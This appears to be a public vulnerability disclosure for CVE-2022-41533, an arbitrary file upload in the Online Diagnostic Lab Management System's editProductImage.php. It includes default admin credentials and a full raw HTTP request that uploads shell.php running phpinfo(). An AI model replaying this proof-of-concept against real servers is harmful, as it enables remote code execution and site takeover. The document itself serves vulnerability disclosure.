CVE-2022-41533: bug_report/RCE-1.md at main · xuewawa/bug_report

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Online Diagnostic Lab Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: 袁世冲

vendors: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html

The program is built using the xmapp-php8.1 version

Login account: [email protected]/rootadmin (Super Admin account)

Vulnerability url: ip/diagnostic/php_action/editProductImage.php?id=2

Loophole location: Online Diagnostic Lab Management System’s editProductImage.php file exists arbitrary file upload (RCE)

Request package for file upload：

POST /diagnostic/php_action/editProductImage.php?id=2 HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.88/diagnostic/edittest.php?id=2 Cookie: PHPSESSID=flklolh755oivesj89eu5fo2c7 Connection: close Content-Type: multipart/form-data; boundary=---------------------------25689655923079 Content-Length: 431 -----------------------------25689655923079 Content-Disposition: form-data; name="old_image" shell.php -----------------------------25689655923079 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------25689655923079 Content-Disposition: form-data; name="btn" -----------------------------25689655923079–

The files will be uploaded to this directory \diagnostic\assets\myimages\

We visited the directory of the file in the browser and found that the code had been executed